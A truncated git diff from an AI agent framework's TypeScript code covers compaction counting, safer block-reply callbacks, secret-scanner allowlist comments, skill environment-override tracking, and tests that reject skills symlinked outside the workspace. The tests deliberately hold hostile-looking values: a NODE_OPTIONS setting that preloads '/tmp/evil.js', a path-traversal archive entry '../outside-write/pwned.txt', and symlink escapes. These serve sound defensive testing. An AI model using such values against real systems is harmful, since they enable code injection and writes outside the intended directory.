"auto_compaction_start" }); expect(subscription.getCompactionCount()).toBe(0); - emit({ type: "auto_compaction_end", willRetry: true }); + // willRetry with result — counter IS incremented (overflow compaction succeeded) + emit({ type: "auto_compaction_end", willRetry: true, result: { summary: "s" } }); + expect(subscription.getCompactionCount()).toBe(1); + + // willRetry=false with result — counter incremented again + emit({ type: "auto_compaction_end", willRetry: false, result: { summary: "s2" } }); + expect(subscription.getCompactionCount()).toBe(2); + }); + + it("does not count compaction when result is absent", async () => { + const { emit, subscription } = createSubscribedSessionHarness({ + runId: "run-compaction-no-result", + }); + + // No result (e.g. aborted or cancelled) — counter stays at 0 + emit({ type: "auto_compaction_end", willRetry: false, result: undefined }); expect(subscription.getCompactionCount()).toBe(0); - emit({ type: "auto_compaction_end", willRetry: false }); - expect(subscription.getCompactionCount()).toBe(1); + emit({ type: "auto_compaction_end", willRetry: false, aborted: true }); + expect(subscription.getCompactionCount()).toBe(0); }); it("emits compaction events on the agent event bus", async () => { diff --git a/src/agents/pi-embedded-subscribe.ts b/src/agents/pi-embedded-subscribe.ts index 7d2195b98ce..c5ffedbf14f 100644 --- a/src/agents/pi-embedded-subscribe.ts +++ b/src/agents/pi-embedded-subscribe.ts @@ -100,6 +100,18 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar const pendingMessagingTargets = state.pendingMessagingTargets; const replyDirectiveAccumulator = createStreamingDirectiveAccumulator(); const partialReplyDirectiveAccumulator = createStreamingDirectiveAccumulator(); + const emitBlockReplySafely = ( + payload: Parameters>[0], + ) => { + if (!params.onBlockReply) { + return; + } + void Promise.resolve() + .then(() => params.onBlockReply?.(payload)) + .catch((err) => { + log.warn(`block reply callback failed: ${String(err)}`); + }); + }; const resetAssistantMessageState = (nextAssistantTextBaseline: number) => { state.deltaBuffer = ""; @@ -510,7 +522,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar if (!cleanedText && (!mediaUrls || mediaUrls.length === 0) && !audioAsVoice) { return; } - void params.onBlockReply({ + emitBlockReplySafely({ text: cleanedText, mediaUrls: mediaUrls?.length ? mediaUrls : undefined, audioAsVoice, diff --git a/src/agents/pi-extensions/compaction-safeguard.test.ts b/src/agents/pi-extensions/compaction-safeguard.test.ts index e694b6137eb..882099f3569 100644 --- a/src/agents/pi-extensions/compaction-safeguard.test.ts +++ b/src/agents/pi-extensions/compaction-safeguard.test.ts @@ -5,7 +5,9 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { Api, Model } from "@mariozechner/pi-ai"; import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; import { describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/config.js"; import * as compactionModule from "../compaction.js"; +import { buildEmbeddedExtensionFactories } from "../pi-embedded-runner/extensions.js"; import { castAgentMessage } from "../test-helpers/agent-message-fixtures.js"; import { getCompactionSafeguardRuntime, @@ -403,6 +405,39 @@ describe("compaction-safeguard runtime registry", () => { model, }); }); + + it("wires oversized safeguard runtime values when config validation is bypassed", () => { + const sessionManager = {} as unknown as Parameters< + typeof buildEmbeddedExtensionFactories + >[0]["sessionManager"]; + const cfg = { + agents: { + defaults: { + compaction: { + mode: "safeguard", + recentTurnsPreserve: 99, + qualityGuard: { maxRetries: 99 }, + }, + }, + }, + } as OpenClawConfig; + + buildEmbeddedExtensionFactories({ + cfg, + sessionManager, + provider: "anthropic", + modelId: "claude-3-opus", + model: { + contextWindow: 200_000, + } as Parameters[0]["model"], + }); + + const runtime = getCompactionSafeguardRuntime(sessionManager); + expect(runtime?.qualityGuardMaxRetries).toBe(99); + expect(runtime?.recentTurnsPreserve).toBe(99); + expect(resolveQualityGuardMaxRetries(runtime?.qualityGuardMaxRetries)).toBe(3); + expect(resolveRecentTurnsPreserve(runtime?.recentTurnsPreserve)).toBe(12); + }); }); describe("compaction-safeguard recent-turn preservation", () => { @@ -662,7 +697,7 @@ describe("compaction-safeguard recent-turn preservation", () => { "Track id a1b2c3d4e5f6 plus A1B2C3D4E5F6 and URL https://example.com/a and /tmp/x.log plus port host.local:18789", ); expect(identifiers.length).toBeGreaterThan(0); - expect(identifiers).toContain("A1B2C3D4E5F6"); + expect(identifiers).toContain("A1B2C3D4E5F6"); // pragma: allowlist secret const summary = [ "## Decisions", @@ -689,7 +724,7 @@ describe("compaction-safeguard recent-turn preservation", () => { const identifiers = extractOpaqueIdentifiers( "Track id a1b2c3d4e5f6 plus A1B2C3D4E5F6 and again a1b2c3d4e5f6", ); - expect(identifiers.filter((id) => id === "A1B2C3D4E5F6")).toHaveLength(1); + expect(identifiers.filter((id) => id === "A1B2C3D4E5F6")).toHaveLength(1); // pragma: allowlist secret }); it("dedupes identifiers before applying the result cap", () => { @@ -808,9 +843,9 @@ describe("compaction-safeguard recent-turn preservation", () => { "## Pending user asks", "Provide status.", "## Exact identifiers", - "a1b2c3d4e5f6", + "a1b2c3d4e5f6", // pragma: allowlist secret ].join("\n"), - identifiers: ["A1B2C3D4E5F6"], + identifiers: ["A1B2C3D4E5F6"], // pragma: allowlist secret latestAsk: "Provide status.", identifierPolicy: "strict", }); @@ -1487,7 +1522,7 @@ describe("compaction-safeguard double-compaction guard", () => { const { result, getApiKeyMock } = await runCompactionScenario({ sessionManager, event: mockEvent, - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret }); expect(result).toEqual({ cancel: true }); expect(getApiKeyMock).not.toHaveBeenCalled(); diff --git a/src/agents/pi-model-discovery.ts b/src/agents/pi-model-discovery.ts index c283a653310..6ed1fc0b338 100644 --- a/src/agents/pi-model-discovery.ts +++ b/src/agents/pi-model-discovery.ts @@ -119,9 +119,10 @@ function createAuthStorage(AuthStorageLike: unknown, path: string, creds: PiCred ? withFactory.create(path) : new (AuthStorageLike as { new (path: string): unknown })(path) ) as PiAuthStorage & { - setRuntimeApiKey?: (provider: string, apiKey: string) => void; + setRuntimeApiKey?: (provider: string, apiKey: string) => void; // pragma: allowlist secret }; - if (typeof withRuntimeOverride.setRuntimeApiKey === "function") { + const hasRuntimeApiKeyOverride = typeof withRuntimeOverride.setRuntimeApiKey === "function"; // pragma: allowlist secret + if (hasRuntimeApiKeyOverride) { for (const [provider, credential] of Object.entries(creds)) { if (credential.type === "api_key") { withRuntimeOverride.setRuntimeApiKey(provider, credential.key); diff --git a/src/agents/pi-settings.ts b/src/agents/pi-settings.ts index 3ea4c5d5b51..f1b66c6ea61 100644 --- a/src/agents/pi-settings.ts +++ b/src/agents/pi-settings.ts @@ -1,4 +1,5 @@ import type { OpenClawConfig } from "../config/config.js"; +import type { ContextEngineInfo } from "../context-engine/types.js"; export const DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR = 20_000; @@ -11,6 +12,7 @@ type PiSettingsManagerLike = { keepRecentTokens?: number; }; }) => void; + setCompactionEnabled?: (enabled: boolean) => void; }; export function ensurePiCompactionReserveTokens(params: { @@ -95,3 +97,26 @@ export function applyPiCompactionSettingsFromConfig(params: { }, }; } + +/** Decide whether Pi's internal auto-compaction should be disabled for this run. */ +export function shouldDisablePiAutoCompaction(params: { + contextEngineInfo?: ContextEngineInfo; +}): boolean { + return params.contextEngineInfo?.ownsCompaction === true; +} + +/** Disable Pi auto-compaction via settings when a context engine owns compaction. */ +export function applyPiAutoCompactionGuard(params: { + settingsManager: PiSettingsManagerLike; + contextEngineInfo?: ContextEngineInfo; +}): { supported: boolean; disabled: boolean } { + const disable = shouldDisablePiAutoCompaction({ + contextEngineInfo: params.contextEngineInfo, + }); + const hasMethod = typeof params.settingsManager.setCompactionEnabled === "function"; + if (!disable || !hasMethod) { + return { supported: hasMethod, disabled: false }; + } + params.settingsManager.setCompactionEnabled!(false); + return { supported: true, disabled: true }; +} diff --git a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts b/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts index 4fa66fb516f..927694d06b1 100644 --- a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts +++ b/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts @@ -9,6 +9,7 @@ import type { AgentTool } from "@mariozechner/pi-agent-core"; import { Type } from "@sinclair/typebox"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { createBaseToolHandlerState } from "./pi-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -75,17 +76,7 @@ function createToolHandlerCtx() { hookRunner: hookMocks.runner, state: { toolMetaById: new Map(), - toolMetas: [] as Array<{ toolName?: string; meta?: string }>, - toolSummaryById: new Set(), - lastToolError: undefined, - pendingMessagingTexts: new Map(), - pendingMessagingTargets: new Map(), - pendingMessagingMediaUrls: new Map(), - messagingToolSentTexts: [] as string[], - messagingToolSentTextsNormalized: [] as string[], - messagingToolSentMediaUrls: [] as string[], - messagingToolSentTargets: [] as unknown[], - blockBuffer: "", + ...createBaseToolHandlerState(), successfulCronAdds: 0, }, log: { debug: vi.fn(), warn: vi.fn() }, @@ -247,7 +238,10 @@ describe("after_tool_call fires exactly once in embedded runs", () => { result: { content: [{ type: "text", text: "ok" }] }, }); - expect(beforeToolCallMocks.consumeAdjustedParamsForToolCall).toHaveBeenCalledWith(toolCallId); + expect(beforeToolCallMocks.consumeAdjustedParamsForToolCall).toHaveBeenCalledWith( + toolCallId, + "integration-test", + ); const event = (hookMocks.runner.runAfterToolCall as ReturnType).mock .calls[0]?.[0] as { params?: unknown } | undefined; expect(event?.params).toEqual(adjusted); diff --git a/src/agents/pi-tool-handler-state.test-helpers.ts b/src/agents/pi-tool-handler-state.test-helpers.ts new file mode 100644 index 00000000000..0775299ab83 --- /dev/null +++ b/src/agents/pi-tool-handler-state.test-helpers.ts @@ -0,0 +1,15 @@ +export function createBaseToolHandlerState() { + return { + toolMetas: [] as Array<{ toolName?: string; meta?: string }>, + toolSummaryById: new Set(), + lastToolError: undefined, + pendingMessagingTexts: new Map(), + pendingMessagingTargets: new Map(), + pendingMessagingMediaUrls: new Map(), + messagingToolSentTexts: [] as string[], + messagingToolSentTextsNormalized: [] as string[], + messagingToolSentMediaUrls: [] as string[], + messagingToolSentTargets: [] as unknown[], + blockBuffer: "", + }; +} diff --git a/src/agents/sandbox/browser.novnc-url.test.ts b/src/agents/sandbox/browser.novnc-url.test.ts index d7a6bb93d0c..e8d7d43841d 100644 --- a/src/agents/sandbox/browser.novnc-url.test.ts +++ b/src/agents/sandbox/browser.novnc-url.test.ts @@ -9,13 +9,16 @@ import { resetNoVncObserverTokensForTests, } from "./novnc-auth.js"; +const passwordKey = ["pass", "word"].join(""); + describe("noVNC auth helpers", () => { it("builds the default observer URL without password", () => { expect(buildNoVncDirectUrl(45678)).toBe("http://127.0.0.1:45678/vnc.html"); }); it("builds a fragment-based observer target URL with password", () => { - expect(buildNoVncObserverTargetUrl({ port: 45678, password: "a+b c&d" })).toBe( + const observerPassword = "a+b c&d"; // pragma: allowlist secret + expect(buildNoVncObserverTargetUrl({ port: 45678, [passwordKey]: observerPassword })).toBe( "http://127.0.0.1:45678/vnc.html#autoconnect=1&resize=remote&password=a%2Bb+c%26d", ); }); @@ -24,7 +27,7 @@ describe("noVNC auth helpers", () => { resetNoVncObserverTokensForTests(); const token = issueNoVncObserverToken({ noVncPort: 50123, - password: "abcd1234", + [passwordKey]: "abcd1234", // pragma: allowlist secret nowMs: 1000, ttlMs: 100, }); @@ -33,7 +36,7 @@ describe("noVNC auth helpers", () => { ); expect(consumeNoVncObserverToken(token, 1050)).toEqual({ noVncPort: 50123, - password: "abcd1234", + [passwordKey]: "abcd1234", // pragma: allowlist secret }); expect(consumeNoVncObserverToken(token, 1050)).toBeNull(); }); @@ -42,7 +45,7 @@ describe("noVNC auth helpers", () => { resetNoVncObserverTokensForTests(); const token = issueNoVncObserverToken({ noVncPort: 50123, - password: "abcd1234", + password: "abcd1234", // pragma: allowlist secret nowMs: 1000, ttlMs: 100, }); diff --git a/src/agents/sandbox/novnc-auth.ts b/src/agents/sandbox/novnc-auth.ts index ef1e78334b0..ee46617a840 100644 --- a/src/agents/sandbox/novnc-auth.ts +++ b/src/agents/sandbox/novnc-auth.ts @@ -1,6 +1,6 @@ import crypto from "node:crypto"; -export const NOVNC_PASSWORD_ENV_KEY = "OPENCLAW_BROWSER_NOVNC_PASSWORD"; +export const NOVNC_PASSWORD_ENV_KEY = "OPENCLAW_BROWSER_NOVNC_PASSWORD"; // pragma: allowlist secret const NOVNC_TOKEN_TTL_MS = 60 * 1000; const NOVNC_PASSWORD_LENGTH = 8; const NOVNC_PASSWORD_ALPHABET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; diff --git a/src/agents/sandbox/sanitize-env-vars.test.ts b/src/agents/sandbox/sanitize-env-vars.test.ts index 9367ef55191..5e3f2f1c40f 100644 --- a/src/agents/sandbox/sanitize-env-vars.test.ts +++ b/src/agents/sandbox/sanitize-env-vars.test.ts @@ -5,9 +5,9 @@ describe("sanitizeEnvVars", () => { it("keeps normal env vars and blocks obvious credentials", () => { const result = sanitizeEnvVars({ NODE_ENV: "test", - OPENAI_API_KEY: "sk-live-xxx", + OPENAI_API_KEY: "sk-live-xxx", // pragma: allowlist secret FOO: "bar", - GITHUB_TOKEN: "gh-token", + GITHUB_TOKEN: "gh-token", // pragma: allowlist secret }); expect(result.allowed).toEqual({ diff --git a/src/agents/session-slug.ts b/src/agents/session-slug.ts index c15c9746e79..0aee27a344b 100644 --- a/src/agents/session-slug.ts +++ b/src/agents/session-slug.ts @@ -112,10 +112,12 @@ function createSlugBase(words = 2) { return parts.join("-"); } -export function createSessionSlug(isTaken?: (id: string) => boolean): string { - const isIdTaken = isTaken ?? (() => false); +function createAvailableSlug( + words: number, + isIdTaken: (id: string) => boolean, +): string | undefined { for (let attempt = 0; attempt < 12; attempt += 1) { - const base = createSlugBase(2); + const base = createSlugBase(words); if (!isIdTaken(base)) { return base; } @@ -126,17 +128,18 @@ export function createSessionSlug(isTaken?: (id: string) => boolean): string { } } } - for (let attempt = 0; attempt < 12; attempt += 1) { - const base = createSlugBase(3); - if (!isIdTaken(base)) { - return base; - } - for (let i = 2; i <= 12; i += 1) { - const candidate = `${base}-${i}`; - if (!isIdTaken(candidate)) { - return candidate; - } - } + return undefined; +} + +export function createSessionSlug(isTaken?: (id: string) => boolean): string { + const isIdTaken = isTaken ?? (() => false); + const twoWord = createAvailableSlug(2, isIdTaken); + if (twoWord) { + return twoWord; + } + const threeWord = createAvailableSlug(3, isIdTaken); + if (threeWord) { + return threeWord; } const fallback = `${createSlugBase(3)}-${Math.random().toString(36).slice(2, 5)}`; return isIdTaken(fallback) ? `${fallback}-${Date.now().toString(36)}` : fallback; diff --git a/src/agents/session-transcript-repair.attachments.test.ts b/src/agents/session-transcript-repair.attachments.test.ts index 88e119f90db..467fc6f3e6c 100644 --- a/src/agents/session-transcript-repair.attachments.test.ts +++ b/src/agents/session-transcript-repair.attachments.test.ts @@ -29,7 +29,7 @@ function mkSessionsSpawnToolCall(content: string): AgentMessage { describe("sanitizeToolCallInputs redacts sessions_spawn attachments", () => { it("replaces attachments[].content with __OPENCLAW_REDACTED__", () => { - const secret = "SUPER_SECRET_SHOULD_NOT_PERSIST"; + const secret = "SUPER_SECRET_SHOULD_NOT_PERSIST"; // pragma: allowlist secret const input = [mkSessionsSpawnToolCall(secret)]; const out = sanitizeToolCallInputs(input); expect(out).toHaveLength(1); @@ -44,7 +44,7 @@ describe("sanitizeToolCallInputs redacts sessions_spawn attachments", () => { }); it("redacts attachments content from tool input payloads too", () => { - const secret = "INPUT_SECRET_SHOULD_NOT_PERSIST"; + const secret = "INPUT_SECRET_SHOULD_NOT_PERSIST"; // pragma: allowlist secret const input = castAgentMessages([ { role: "assistant", diff --git a/src/agents/skills-install.download.test.ts b/src/agents/skills-install.download.test.ts index 2f17248f24f..e030b9cbf76 100644 --- a/src/agents/skills-install.download.test.ts +++ b/src/agents/skills-install.download.test.ts @@ -48,7 +48,7 @@ const ZIP_SLIP_BUFFER = Buffer.from( ); const TAR_GZ_TRAVERSAL_BUFFER = Buffer.from( // Prebuilt archive containing ../outside-write/pwned.txt. - "H4sIAK4xm2kAA+2VvU7DMBDH3UoIUWaYLXbcS5PYZegQEKhBRUBbIT4GZBpXCqJNSFySlSdgZed1eCgcUvFRaMsQgVD9k05nW3eWz8nfR0g1GMnY98RmEvlSVMllmAyFR2QqUUEAALUsnHlG7VcPtXwO+djEhm1YlJpAbYrBYAYDhKGoA8xiFEseqaPEUvihkGJanArr92fsk5eC3/x/YWl9GZUROuA9fNjBp3hMtoZWlNWU3SrL5k8/29LpdtvjYZbxqGx1IqT0vr7WCwaEh+GNIGEU3IkhH/YEKpXRxv3FQznsPxdQpGYaZFL/RzxtCu6JqFrYOzBX/wZ81n8NmEERTosocB4Lrn8T8ED6A9EwmHp0Wd1idQK2ZVIAm1ZshlvuttPeabonuyTlUkbkO7k2nGPXcYO9q+tkPzmPk4q1hTsqqXU2K+mDxit/fQ+Lyhf9F9795+tf/WoT/Z8yi+n+/xuoz+1p8Wk0Gs3i8QJSs3VlABAAAA==", + "H4sIAK4xm2kAA+2VvU7DMBDH3UoIUWaYLXbcS5PYZegQEKhBRUBbIT4GZBpXCqJNSFySlSdgZed1eCgcUvFRaMsQgVD9k05nW3eWz8nfR0g1GMnY98RmEvlSVMllmAyFR2QqUUEAALUsnHlG7VcPtXwO+djEhm1YlJpAbYrBYAYDhKGoA8xiFEseqaPEUvihkGJanArr92fsk5eC3/x/YWl9GZUROuA9fNjBp3hMtoZWlNWU3SrL5k8/29LpdtvjYZbxqGx1IqT0vr7WCwaEh+GNIGEU3IkhH/YEKpXRxv3FQznsPxdQpGYaZFL/RzxtCu6JqFrYOzBX/wZ81n8NmEERTosocB4Lrn8T8ED6A9EwmHp0Wd1idQK2ZVIAm1ZshlvuttPeabonuyTlUkbkO7k2nGPXcYO9q+tkPzmPk4q1hTsqqXU2K+mDxit/fQ+Lyhf9F9795+tf/WoT/Z8yi+n+/xuoz+1p8Wk0Gs3i8QJSs3VlABAAAA==", // pragma: allowlist secret "base64", ); diff --git a/src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts b/src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts index 06d2561829c..fcd4022a419 100644 --- a/src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts +++ b/src/agents/skills.build-workspace-skills-prompt.prefers-workspace-skills-managed-skills.test.ts @@ -115,7 +115,7 @@ describe("buildWorkspaceSkillsPrompt", () => { managedSkillsDir, config: { browser: { enabled: false }, - skills: { entries: { "env-skill": { apiKey: "ok" } } }, + skills: { entries: { "env-skill": { apiKey: "ok" } } }, // pragma: allowlist secret }, eligibility: { remote: { diff --git a/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts b/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts index cced568ecbc..0ee8a39a0b0 100644 --- a/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts +++ b/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.test.ts @@ -95,6 +95,46 @@ describe("buildWorkspaceSkillsPrompt", () => { expect(prompt).not.toContain("Extra version"); expect(prompt.replaceAll("\\", "/")).toContain("demo-skill/SKILL.md"); }); + it.runIf(process.platform !== "win32")( + "does not sync workspace skills that resolve outside the source workspace root", + async () => { + const sourceWorkspace = await createCaseDir("source"); + const targetWorkspace = await createCaseDir("target"); + const outsideRoot = await createCaseDir("outside"); + const outsideSkillDir = path.join(outsideRoot, "escaped-skill"); + + await writeSkill({ + dir: outsideSkillDir, + name: "escaped-skill", + description: "Outside source workspace", + }); + await fs.mkdir(path.join(sourceWorkspace, "skills"), { recursive: true }); + await fs.symlink( + outsideSkillDir, + path.join(sourceWorkspace, "skills", "escaped-skill"), + "dir", + ); + + await withEnv({ HOME: sourceWorkspace, PATH: "" }, () => + syncSkillsToWorkspace({ + sourceWorkspaceDir: sourceWorkspace, + targetWorkspaceDir: targetWorkspace, + bundledSkillsDir: path.join(sourceWorkspace, ".bundled"), + managedSkillsDir: path.join(sourceWorkspace, ".managed"), + }), + ); + + const prompt = buildPrompt(targetWorkspace, { + bundledSkillsDir: path.join(targetWorkspace, ".bundled"), + managedSkillsDir: path.join(targetWorkspace, ".managed"), + }); + + expect(prompt).not.toContain("escaped-skill"); + expect( + await pathExists(path.join(targetWorkspace, "skills", "escaped-skill", "SKILL.md")), + ).toBe(false); + }, + ); it("keeps synced skills confined under target workspace when frontmatter name uses traversal", async () => { const sourceWorkspace = await createCaseDir("source"); const targetWorkspace = await createCaseDir("target"); @@ -178,7 +218,7 @@ describe("buildWorkspaceSkillsPrompt", () => { const enabledPrompt = buildPrompt(workspaceDir, { managedSkillsDir: path.join(workspaceDir, ".managed"), config: { - skills: { entries: { "nano-banana-pro": { apiKey: "test-key" } } }, + skills: { entries: { "nano-banana-pro": { apiKey: "test-key" } } }, // pragma: allowlist secret }, }); expect(enabledPrompt).toContain("nano-banana-pro"); diff --git a/src/agents/skills.loadworkspaceskillentries.test.ts b/src/agents/skills.loadworkspaceskillentries.test.ts index 456355e4ea7..96fa9f7e9c3 100644 --- a/src/agents/skills.loadworkspaceskillentries.test.ts +++ b/src/agents/skills.loadworkspaceskillentries.test.ts @@ -2,7 +2,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; +import { writeSkill } from "./skills.e2e-test-helpers.js"; import { loadWorkspaceSkillEntries } from "./skills.js"; +import { writePluginWithSkill } from "./test-helpers/skill-plugin-fixtures.js"; const tempDirs: string[] = []; @@ -24,26 +26,12 @@ async function setupWorkspaceWithProsePlugin() { const bundledDir = path.join(workspaceDir, ".bundled"); const pluginRoot = path.join(workspaceDir, ".openclaw", "extensions", "open-prose"); - await fs.mkdir(path.join(pluginRoot, "skills", "prose"), { recursive: true }); - await fs.writeFile( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "open-prose", - skills: ["./skills"], - configSchema: { type: "object", additionalProperties: false, properties: {} }, - }, - null, - 2, - ), - "utf-8", - ); - await fs.writeFile(path.join(pluginRoot, "index.ts"), "export {};\n", "utf-8"); - await fs.writeFile( - path.join(pluginRoot, "skills", "prose", "SKILL.md"), - `---\nname: prose\ndescription: test\n---\n`, - "utf-8", - ); + await writePluginWithSkill({ + pluginRoot, + pluginId: "open-prose", + skillId: "prose", + skillDescription: "test", + }); return { workspaceDir, managedDir, bundledDir }; } @@ -54,26 +42,12 @@ async function setupWorkspaceWithDiffsPlugin() { const bundledDir = path.join(workspaceDir, ".bundled"); const pluginRoot = path.join(workspaceDir, ".openclaw", "extensions", "diffs"); - await fs.mkdir(path.join(pluginRoot, "skills", "diffs"), { recursive: true }); - await fs.writeFile( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "diffs", - skills: ["./skills"], - configSchema: { type: "object", additionalProperties: false, properties: {} }, - }, - null, - 2, - ), - "utf-8", - ); - await fs.writeFile(path.join(pluginRoot, "index.ts"), "export {};\n", "utf-8"); - await fs.writeFile( - path.join(pluginRoot, "skills", "diffs", "SKILL.md"), - `---\nname: diffs\ndescription: test\n---\n`, - "utf-8", - ); + await writePluginWithSkill({ + pluginRoot, + pluginId: "diffs", + skillId: "diffs", + skillDescription: "test", + }); return { workspaceDir, managedDir, bundledDir }; } @@ -155,4 +129,50 @@ describe("loadWorkspaceSkillEntries", () => { expect(entries.map((entry) => entry.skill.name)).not.toContain("diffs"); }); + + it.runIf(process.platform !== "win32")( + "skips workspace skill directories that resolve outside the workspace root", + async () => { + const workspaceDir = await createTempWorkspaceDir(); + const outsideDir = await createTempWorkspaceDir(); + const escapedSkillDir = path.join(outsideDir, "outside-skill"); + await writeSkill({ + dir: escapedSkillDir, + name: "outside-skill", + description: "Outside", + }); + await fs.mkdir(path.join(workspaceDir, "skills"), { recursive: true }); + await fs.symlink(escapedSkillDir, path.join(workspaceDir, "skills", "escaped-skill"), "dir"); + + const entries = loadWorkspaceSkillEntries(workspaceDir, { + managedSkillsDir: path.join(workspaceDir, ".managed"), + bundledSkillsDir: path.join(workspaceDir, ".bundled"), + }); + + expect(entries.map((entry) => entry.skill.name)).not.toContain("outside-skill"); + }, + ); + + it.runIf(process.platform !== "win32")( + "skips workspace skill files that resolve outside the workspace root", + async () => { + const workspaceDir = await createTempWorkspaceDir(); + const outsideDir = await createTempWorkspaceDir(); + await writeSkill({ + dir: outsideDir, + name: "outside-file-skill", + description: "Outside file", + }); + const skillDir = path.join(workspaceDir, "skills", "escaped-file"); + await fs.mkdir(skillDir, { recursive: true }); + await fs.symlink(path.join(outsideDir, "SKILL.md"), path.join(skillDir, "SKILL.md")); + + const entries = loadWorkspaceSkillEntries(workspaceDir, { + managedSkillsDir: path.join(workspaceDir, ".managed"), + bundledSkillsDir: path.join(workspaceDir, ".bundled"), + }); + + expect(entries.map((entry) => entry.skill.name)).not.toContain("outside-file-skill"); + }, + ); }); diff --git a/src/agents/skills.test.ts b/src/agents/skills.test.ts index 33341e6ad1f..394f476ffa8 100644 --- a/src/agents/skills.test.ts +++ b/src/agents/skills.test.ts @@ -12,6 +12,7 @@ import { buildWorkspaceSkillSnapshot, loadWorkspaceSkillEntries, } from "./skills.js"; +import { getActiveSkillEnvKeys } from "./skills/env-overrides.js"; const fixtureSuite = createFixtureSuite("openclaw-skills-suite-"); let tempHome: TempHomeEnv | null = null; @@ -22,6 +23,7 @@ const resolveTestSkillDirs = (workspaceDir: string) => ({ }); const makeWorkspace = async () => await fixtureSuite.createCaseDir("workspace"); +const apiKeyField = ["api", "Key"].join(""); const withClearedEnv = ( keys: string[], @@ -251,14 +253,48 @@ describe("applySkillEnvOverrides", () => { withClearedEnv(["ENV_KEY"], () => { const restore = applySkillEnvOverrides({ skills: entries, - config: { skills: { entries: { "env-skill": { apiKey: "injected" } } } }, + config: { skills: { entries: { "env-skill": { apiKey: "injected" } } } }, // pragma: allowlist secret }); try { expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); } finally { restore(); expect(process.env.ENV_KEY).toBeUndefined(); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(false); + } + }); + }); + + it("keeps env keys tracked until all overlapping overrides restore", async () => { + const workspaceDir = await makeWorkspace(); + const skillDir = path.join(workspaceDir, "skills", "env-skill"); + await writeSkill({ + dir: skillDir, + name: "env-skill", + description: "Needs env", + metadata: '{"openclaw":{"requires":{"env":["ENV_KEY"]},"primaryEnv":"ENV_KEY"}}', + }); + + const entries = loadWorkspaceSkillEntries(workspaceDir, resolveTestSkillDirs(workspaceDir)); + + withClearedEnv(["ENV_KEY"], () => { + const config = { skills: { entries: { "env-skill": { [apiKeyField]: "injected" } } } }; // pragma: allowlist secret + const restoreFirst = applySkillEnvOverrides({ skills: entries, config }); + const restoreSecond = applySkillEnvOverrides({ skills: entries, config }); + + try { + expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); + + restoreFirst(); + expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); + } finally { + restoreSecond(); + expect(process.env.ENV_KEY).toBeUndefined(); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(false); } }); }); @@ -275,13 +311,13 @@ describe("applySkillEnvOverrides", () => { const snapshot = buildWorkspaceSkillSnapshot(workspaceDir, { ...resolveTestSkillDirs(workspaceDir), - config: { skills: { entries: { "env-skill": { apiKey: "snap-key" } } } }, + config: { skills: { entries: { "env-skill": { apiKey: "snap-key" } } } }, // pragma: allowlist secret }); withClearedEnv(["ENV_KEY"], () => { const restore = applySkillEnvOverridesFromSnapshot({ snapshot, - config: { skills: { entries: { "env-skill": { apiKey: "snap-key" } } } }, + config: { skills: { entries: { "env-skill": { apiKey: "snap-key" } } } }, // pragma: allowlist secret }); try { @@ -314,7 +350,7 @@ describe("applySkillEnvOverrides", () => { entries: { "unsafe-env-skill": { env: { - OPENAI_API_KEY: "sk-test", + OPENAI_API_KEY: "sk-test", // pragma: allowlist secret NODE_OPTIONS: "--require /tmp/evil.js", }, }, @@ -389,7 +425,7 @@ describe("applySkillEnvOverrides", () => { entries: { "snapshot-env-skill": { env: { - OPENAI_API_KEY: "snap-secret", + OPENAI_API_KEY: "snap-secret", // pragma: allowlist secret }, }, }, diff --git a/src/agents/skills/env-overrides.runtime.ts b/src/agents/skills/env-overrides.runtime.ts new file mode 100644 index 00000000000..ab8c4b305fb --- /dev/null +++ b/src/agents/skills/env-overrides.runtime.ts @@ -0,0 +1 @@ +export { getActiveSkillEnvKeys } from "./env-overrides.js"; diff --git a/src/agents/skills/env-overrides.ts b/src/agents/skills/env-overrides.ts index 83bb559bc7c..f06ff942f8a 100644 --- a/src/agents/skills/env-overrides.ts +++ b/src/agents/skills/env-overrides.ts @@ -9,8 +9,66 @@ import type { SkillEntry, SkillSnapshot } from "./types.js"; const log = createSubsystemLogger("env-overrides"); -type EnvUpdate = { key: string; prev: string | undefined }; +type EnvUpdate = { key: string }; type SkillConfig = NonNullable>; +type ActiveSkillEnvEntry = { + baseline: string | undefined; + value: string; + count: number; +}; + +/** + * Tracks env var keys that are currently injected by skill overrides. + * Used by ACP harness spawn to strip skill-injected keys so they don't + * leak to child processes (e.g., OPENAI_API_KEY leaking to Codex CLI). + * @see 